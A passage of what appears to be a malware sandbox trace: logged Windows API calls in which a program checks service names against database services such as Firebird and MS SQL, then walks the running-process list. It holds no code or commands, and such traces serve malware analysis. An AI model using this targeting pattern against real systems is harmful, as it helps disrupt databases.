lpString2="LSM") returned 1 [0108.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0108.867] lstrlenW (lpString="MpsSvc") returned 6 [0108.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0108.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0108.867] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0108.867] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0108.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0108.867] lstrlenW (lpString="NcbService") returned 10 [0108.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0108.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0108.867] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0108.867] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0108.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0108.867] lstrlenW (lpString="netprofm") returned 8 [0108.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0108.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0108.868] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0108.868] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0108.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0108.868] lstrlenW (lpString="NlaSvc") returned 6 [0108.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0108.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0108.868] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0108.868] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0108.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0108.868] lstrlenW (lpString="nsi") returned 3 [0108.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0108.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0108.868] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0108.868] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0108.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0108.868] lstrlenW (lpString="PcaSvc") returned 6 [0108.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0108.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0108.868] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0108.868] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0108.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0108.868] lstrlenW (lpString="PlugPlay") returned 8 [0108.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0108.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0108.868] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0108.869] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0108.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0108.869] lstrlenW (lpString="Power") returned 5 [0108.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0108.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0108.869] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0108.869] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0108.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0108.869] lstrlenW (lpString="ProfSvc") returned 7 [0108.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0108.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0108.869] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0108.869] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0108.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0108.869] lstrlenW (lpString="RpcEptMapper") returned 12 [0108.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0108.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0108.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0108.869] lstrlenW (lpString="RpcSs") returned 5 [0108.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0108.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0108.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0108.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0108.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0108.870] lstrlenW (lpString="SamSs") returned 5 [0108.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0108.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0108.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0108.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0108.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0108.870] lstrlenW (lpString="Schedule") returned 8 [0108.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0108.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0108.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0108.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0108.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0108.870] lstrlenW (lpString="SecurityHealthService") returned 21 [0108.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0108.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0108.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0108.870] lstrlenW (lpString="SENS") returned 4 [0108.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0108.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0108.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0108.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0108.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0108.871] lstrlenW (lpString="ShellHWDetection") returned 16 [0108.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.871] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0108.871] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0108.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0108.871] lstrlenW (lpString="Spooler") returned 7 [0108.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0108.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0108.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0108.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0108.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0108.871] lstrlenW (lpString="sppsvc") returned 6 [0108.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0108.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0108.871] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0108.871] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0108.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0108.871] lstrlenW (lpString="SSDPSRV") returned 7 [0108.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0108.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0108.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0108.872] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0108.878] Process32FirstW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.879] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.880] lstrlenW (lpString="System") returned 6 [0108.880] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.881] lstrlenW (lpString="smss.exe") returned 8 [0108.881] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.881] lstrlenW (lpString="csrss.exe") returned 9 [0108.882] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.882] lstrlenW (lpString="wininit.exe") returned 11 [0108.883] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.883] lstrlenW (lpString="csrss.exe") returned 9 [0108.883] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.884] lstrlenW (lpString="winlogon.exe") returned 12 [0108.884] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.885] lstrlenW (lpString="services.exe") returned 12 [0108.885] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.886] lstrlenW (lpString="lsass.exe") returned 9 [0108.886] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.887] lstrlenW (lpString="svchost.exe") returned 11 [0108.887] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.888] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.888] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.889] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.889] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.890] lstrlenW (lpString="svchost.exe") returned 11 [0108.890] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.891] lstrlenW (lpString="dwm.exe") returned 7 [0108.891] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.892] lstrlenW (lpString="svchost.exe") returned 11 [0108.892] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.893] lstrlenW (lpString="svchost.exe") returned 11 [0108.893] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.894] lstrlenW (lpString="svchost.exe") returned 11 [0108.894] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.895] lstrlenW (lpString="svchost.exe") returned 11 [0108.895] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.896] lstrlenW (lpString="svchost.exe") returned 11 [0108.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.896] lstrlenW (lpString="svchost.exe") returned 11 [0108.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.897] lstrlenW (lpString="svchost.exe") returned 11 [0108.897] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.898] lstrlenW (lpString="svchost.exe") returned 11 [0108.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.899] lstrlenW (lpString="svchost.exe") returned 11 [0108.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.900] lstrlenW (lpString="spoolsv.exe") returned 11 [0108.900] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.901] lstrlenW (lpString="svchost.exe") returned 11 [0108.901] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.901] lstrlenW (lpString="svchost.exe") returned 11 [0108.901] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.902] lstrlenW (lpString="audiodg.exe") returned 11 [0108.902] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.903] lstrlenW (lpString="sihost.exe") returned 10 [0108.903] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.904] lstrlenW (lpString="svchost.exe") returned 11 [0108.904] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.905] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.905] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0108.906] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0108.906] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0108.907] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0108.907] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.908] lstrlenW (lpString="explorer.exe") returned 12 [0108.908] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0108.909] lstrlenW (lpString="Memory Compression") returned 18 [0108.909] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.910] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0108.910] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.910] lstrlenW (lpString="SearchUI.exe") returned 12 [0108.910] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.911] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0108.911] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.912] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.912] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0108.912] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0108.912] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0108.913] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0108.913] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.914] lstrlenW (lpString="conhost.exe") returned 11 [0108.914] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0108.914] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0108.914] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0108.915] lstrlenW (lpString="upper arc.exe") returned 13 [0108.915] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0108.916] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0108.916] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0108.916] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0108.916] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0108.917] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0108.917] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, 